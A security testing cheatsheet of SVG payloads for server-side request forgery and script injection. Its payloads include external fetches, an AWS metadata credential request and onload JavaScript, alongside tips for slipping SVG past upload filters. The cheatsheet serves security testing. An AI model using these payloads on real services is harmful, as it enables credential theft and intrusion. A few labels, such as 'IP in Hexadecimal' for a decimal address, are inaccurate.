SVG SSRF Cheatsheet

Hosts that process SVG can potentially be vulnerable to SSRF, LFI, XSS, RCE because of the rich feature set of SVG.

All of these methods specify a URI, which can be absolute or relative. File and HTTP protocol are important to test, but it could also support other protocols depending on the implementation (e.g. PHP stream schemes), including javascript: and data:.

This document contains a list of the ways about to abuse this functionality in SVG files.

Note that some services that claim to not accept SVG as an input format actually do with a little coaxing.

• For uploads, send a JPEG/PNG mime type and filename.

• For downloads, have a JPEG/PNG filename and mime type. If refused, check for TOCTOU on the URL (double fetch) and if it follows redirects.

• Mime sniffing confusion is probably also possible. Mime sniffing confusion as SVG is difficult to sniff because it can start with extra XML garbage. In fact, the standard file command doesn't include any SVG magic, so it's likely up to the individual implementations.

Images

SVG can include external images directly via the <image> tag.

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

Most simple:

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://example.com/image.jpg" />
</svg>

URL Encoded:

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://example.com/%69mage.jpg" />
</svg>

Note that you can use this to include other SVG images too.

The <use> tag

SVG can include external SVG content via the <use> tag.

Option 1:

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="https://example.com/file2.svg#foo"/>
</svg>

Option 2:

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>

Option 3

<svg xmlns="http://www.w3.org/2000/svg">
  <use href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" />
</svg>

CSS

CSS Stylesheet <link>

SVG can include external stylesheets via the <link> tag, just like html.

<svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>

CSS stylesheet via @include

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url(http://example.com/style.css);
  </style>
  <circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>

CSS Stylesheet via <?xml-stylesheet?>

<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>

IP in Hexadecimal

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://3232235777/image.jpg" />
</svg>

Redirect with data URI

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb249J2h0dHA6Ly9lamVtcGxvLmNvbSc8L3NjcmlwdD4=" />
</svg>

XSLT

SVGs can include XSLT stylesheets via <?xml-stylesheet?>. Surprisingly, this does seem to work in chrome.

<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
     xmlns="http://www.w3.org/2000/svg">
  <rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>

<?xml version="1.0"?>

<xsl:stylesheet version="1.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns="http://www.w3.org/2000/svg"
        xmlns:svg="http://www.w3.org/2000/svg">
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />

  <xsl:template match="/svg:svg">
    <svg width="10cm" height="5cm"
       xmlns="http://www.w3.org/2000/svg">
    <rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
  </svg>
  </xsl:template>
</xsl:stylesheet>

Note: due to the nature of XSLT, the input doesn't actually have to be a valid SVG file if the xml-stylesheet is ignored, but it's useful to bypass filters.

Also, because this template just wholesale replaces the entire "old" image with the new one.

Javascript

Inline

SVG can natively include inline javascript, just like HTML.

<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      document.getElementById("foo").setAttribute("fill", "blue");
   // ]]>
  </script>
</svg>

External

SVG can also include external scripts.

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <script src="http://example.com/script.js" type="text/javascript"/>
</svg>

Inline in event

SVG can also have inline event handlers that get executed onload.

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>

You can also bind handlers to animations and some other events. Read the SVG spec.